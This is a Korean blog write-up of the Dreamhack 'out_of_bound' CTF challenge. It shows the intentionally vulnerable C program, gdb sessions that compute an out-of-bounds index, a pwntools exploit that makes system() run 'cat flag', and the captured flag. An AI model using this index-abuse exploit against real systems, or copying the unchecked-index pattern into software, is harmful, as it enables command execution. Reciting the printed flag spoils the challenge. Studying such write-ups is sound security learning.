[Dreamhack] out_of_bound

#코딩노예#·2022년 7월 15일
0

문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

index idx에 대한 경계값 검사 없이 바로 해당 주소에 접근하고 있기 때문에 out of bound 오류가 발생합니다.
read에서 name에 입력을 받고 있고 scanf에서 idx에 입력을 받고 있어서
name에 원하는 값을 입력하고 idx 값을 조정해 command[idx]를 name으로 바꾸는 식으로 문제를 풀면 될 거 같습니다.


먼저 name과 command 사이의 거리를 알아보면

gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound 
Admin name: AAAA
What do you want?: a
gdb-peda$ find "AAAA"
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
out_of_bound : 0x804a0ac ("AAAA\n")

gdb-peda$ i var command
All variables matching regular expression "command":

Non-debugging symbols:
0x0804a060  command

gdb-peda$ print 0x804a0ac-0x804a060
$1 = 0x4c

0x4c = 76 만큼 차이 납니다.


배열의 해당 인덱스에 접근하는 코드를 봐보면
mov    eax,DWORD PTR [eax*4+0x804a060]

계산식을 보면 eax(idx) * 4 가 76이 돼야 하니까, idx는 19입니다.


이제 name에 cat flag를 넣고 idx에 19를 넣어서 프로그램을 실행시켜보면

gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound 
Admin name: cat flag
What do you want?: 19
[Attaching after process 12098 vfork to child process 12123]
[New inferior 2 (process 12123)]
[Detaching vfork parent process 12098 after child exit]
[Inferior 1 (process 12098) detached]
[Inferior 2 (process 12123) exited with code 0177]

프로그램이 그냥 종료됩니다.


디버거로 레지스터랑 스택 상황을 봐보면

gdb-peda$ b * main+69
Breakpoint 1 at 0x8048710
gdb-peda$ b * main+105
Breakpoint 2 at 0x8048734
gdb-peda$ b * main+119
Breakpoint 3 at 0x8048742

gdb-peda$ r
Starting program: /home/kali/wargame/dreamhack/out_of_bound/out_of_bound 
Admin name: cat flag
[----------------------------------registers-----------------------------------]
EAX: 0x9 ('\t')
EBX: 0x0 
ECX: 0x804a0ac ("cat flag\n")
EDX: 0x10 
ESI: 0x1 
EDI: 0x8048560 (<_start>:       xor    ebp,ebp)
EBP: 0xffffd098 --> 0x0 
ESP: 0xffffd080 --> 0x1 
EIP: 0x8048710 (<main+69>:      sub    esp,0xc)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048706 <main+59>: push   0x0
   0x8048708 <main+61>: call   0x80484a0 <read@plt>
   0x804870d <main+66>: add    esp,0x10
=> 0x8048710 <main+69>: sub    esp,0xc
   0x8048713 <main+72>: push   0x804881e
   0x8048718 <main+77>: call   0x80484b0 <printf@plt>
   0x804871d <main+82>: add    esp,0x10
   0x8048720 <main+85>: sub    esp,0x8

처음에 name에 cat flag를 입력했을 때는 레지스터에 cat flag가 잘 들어가 있습니다.


다음으로 19를 입력해보면

db-peda$ c
Continuing.

Program received signal SIGALRM, Alarm clock.
What do you want?: 19
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x0 
ECX: 0xffffcc12 --> 0x37f0f700 
EDX: 0xffffd088 --> 0x13 
ESI: 0x1 
EDI: 0x8048560 (<_start>:       xor    ebp,ebp)
EBP: 0xffffd098 --> 0x0 
ESP: 0xffffd080 --> 0x1 
EIP: 0x8048734 (<main+105>:     mov    eax,DWORD PTR [ebp-0x10])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

레지스터에 0x13 (19)가 잘 들어가 있습니다.


이제 system 함수를 호출할 때 인자를 봐보면

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x20746163 ('cat ')
EBX: 0x0 
ECX: 0xffffcc12 --> 0x37f0f700 
EDX: 0xffffd088 --> 0x13 
ESI: 0x1 
EDI: 0x8048560 (<_start>:       xor    ebp,ebp)
EBP: 0xffffd098 --> 0x0 
ESP: 0xffffd070 ("cat \210\320\377\377\020")
EIP: 0x8048742 (<main+119>:     call   0x8048500 <system@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048737 <main+108>:        mov    eax,DWORD PTR [eax*4+0x804a060]
   0x804873e <main+115>:        sub    esp,0xc
   0x8048741 <main+118>:        push   eax
=> 0x8048742 <main+119>:        call   0x8048500 <system@plt>
   0x8048747 <main+124>:        add    esp,0x10
   0x804874a <main+127>:        mov    eax,0x0
   0x804874f <main+132>:        mov    edx,DWORD PTR [ebp-0xc]
   0x8048752 <main+135>:        xor    edx,DWORD PTR gs:0x14
Guessed arguments:
arg[0]: 0x20746163 ('cat ')

flag는 어디 가고 cat 만 남아 있습니다.


음 왜 그런지 모르겠어서 다른 분들 풀이를 보니까
system 함수가 공유 라이브러리 함수라 인자로 들어오는 변수 주소 4바이트 + 변수 값이 메모리로 들어간다고 하네요.
그래서 name+4의 주소와 "cat flag"를 입력으로 줘야 한다고 합니다.


위에 내용을 대로 익스플로잇 코드를 짜 보면

from pwn import *

p = remote("host3.dreamhack.games", 22629)

payload = p32(0x804a0ac+4) + b"cat flag"
p.sendlineafter("name: ", payload)

p.sendlineafter("want?: ", b"19")

flag = p.recv(100)
print(flag.decode('utf-8'))

익스플로잇 코드를 실행시켜보면

 kali@kali  ~/wargame/dreamhack/out_of_bound  python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 22629: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
DH{2524e20ddeee45f11c8eb91804d57296}
[*] Closed connection to host3.dreamhack.games port 22629

flag 파일이 출력되었습니다.

0개의 댓글